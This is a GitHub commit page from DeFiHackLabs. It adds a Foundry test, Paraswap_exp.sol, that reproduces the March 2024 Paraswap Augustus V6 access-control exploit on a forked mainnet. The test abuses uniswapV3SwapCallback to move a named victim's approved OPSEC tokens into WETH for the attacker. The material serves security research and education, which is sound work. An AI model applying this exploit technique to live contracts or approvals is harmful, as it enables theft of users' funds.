Skip to content

Commit

Permalink
Merge pull request SunWeb3Sec#594 from Kkaminsk86/main
Browse files Browse the repository at this point in the history
  • Loading branch information
SunWeb3Sec authored Mar 27, 2024
2 parents 860fc3c + e5f530b commit 1024bee
Show file tree
Hide file tree
Showing 2 changed files with 125 additions and 1 deletion.
22 changes: 21 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@

**Reproduce DeFi hack incidents using Foundry.**

375 incidents included.
376 incidents included.

Let's make Web3 secure! Join [Discord](https://discord.gg/Fjyngakf3h)

Expand Down Expand Up @@ -41,6 +41,8 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/

[20240321 SSS](#20240321-sss---token-balance-doubles-on-transfer-to-self)

[20240320 Paraswap](#20240320-paraswap---incorrect-access-control)

[20240314 MO](#20240314-mo---business-logic-flaw)

[20240313 IT](#20240313-it---business-logic-flaw)
Expand Down Expand Up @@ -873,6 +875,24 @@ https://twitter.com/dot_pengun/status/1770989208125272481

---

### 20240320 Paraswap - Incorrect Access Control

### Lost: ~24K

```
forge test --contracts src/test/Paraswap_exp.sol -vvv --evm-version shanghai
```

#### Contract

[Paraswap_exp.sol](src/test/Paraswap_exp.sol)

#### Link reference

https://medium.com/neptune-mutual/analysis-of-the-paraswap-exploit-1f97c604b4fe

---

### 20240314 MO - business logic flaw

### Lost: ~413k USDT
Expand Down
104 changes: 104 additions & 0 deletions src/test/Paraswap_exp.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,104 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - Total Lost : ~$24K
// Whitehat : https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a
// Whitehat Contract : https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0
// Vuln Contract : https://etherscan.io/address/0x00000000fdac7708d0d360bddc1bc7d097f47439
// Attack txs : https://phalcon.blocksec.com/explorer/tx/eth/0x35a73969f582872c25c96c48d8bb31c23eab8a49c19282c67509b96186734e60

// @Analysis
// https://medium.com/neptune-mutual/analysis-of-the-paraswap-exploit-1f97c604b4fe

interface IParaSwapAugustusV6 {
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes memory data
) external;
}

contract ContractTest is Test {
IERC20 private constant WETH =
IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 private constant OPSEC =
IERC20(0x6A7eFF1e2c355AD6eb91BEbB5ded49257F3FED98);
IERC20 private constant wTAO =
IERC20(0x77E06c9eCCf2E797fd462A92B6D7642EF85b0A44);
IParaSwapAugustusV6 private constant AugustusV6 =
IParaSwapAugustusV6(0x00000000FdAC7708D0D360BDDc1bc7d097F47439);
// User who had provided approval for Augustus V6 contract
// Amount of OPSEC will be transferred from this user
address private constant from = 0x0cc396F558aAE5200bb0aBB23225aCcafCA31E27;

function setUp() public {
vm.createSelectFork("mainnet", 19470560);
vm.label(address(WETH), "WETH");
vm.label(address(OPSEC), "OPSEC");
vm.label(address(wTAO), "wTAO");
vm.label(address(AugustusV6), "AugustusV6");
}

function testExploit() public {
emit log_named_decimal_uint(
"Exploiter WETH balance before attack",
WETH.balanceOf(address(this)),
WETH.decimals()
);

emit log_named_decimal_uint(
"Victim OPSEC balance before attack",
OPSEC.balanceOf(from),
OPSEC.decimals()
);

emit log_named_decimal_uint(
"Victim approved OPSEC amount before attack",
OPSEC.allowance(from, address(AugustusV6)),
OPSEC.decimals()
);

// Amount0Delta negative value can be arbitrary up to 0
int256 amount0Delta = 0;
// In the attack tx 6_463_332_789_527_457_985 amount of WETH was transferred to the exploiter (frontran by whitehat)
// Let's try more -> 10 WETH
int256 amount1Delta = 10e18;
address to = address(this);
uint256 fee1 = 3_000;
uint256 fee2 = 10_000;
bytes32 encodedOPSECAddr = 0x8000000000000000000000006a7eff1e2c355ad6eb91bebb5ded49257f3fed98;
bytes memory data = abi.encode(
to,
from,
address(wTAO),
address(WETH),
fee1,
encodedOPSECAddr,
address(WETH),
fee2
);

AugustusV6.uniswapV3SwapCallback(amount0Delta, amount1Delta, data);

emit log_named_decimal_uint(
"Victim OPSEC balance after attack",
OPSEC.balanceOf(address(from)),
OPSEC.decimals()
);

emit log_named_decimal_uint(
"Victim approved OPSEC amount after attack",
OPSEC.allowance(from, address(AugustusV6)),
OPSEC.decimals()
);

emit log_named_decimal_uint(
"Exploiter WETH balance after attack",
WETH.balanceOf(address(this)),
WETH.decimals()
);
}
}

0 comments on commit 1024bee

Please sign in to comment.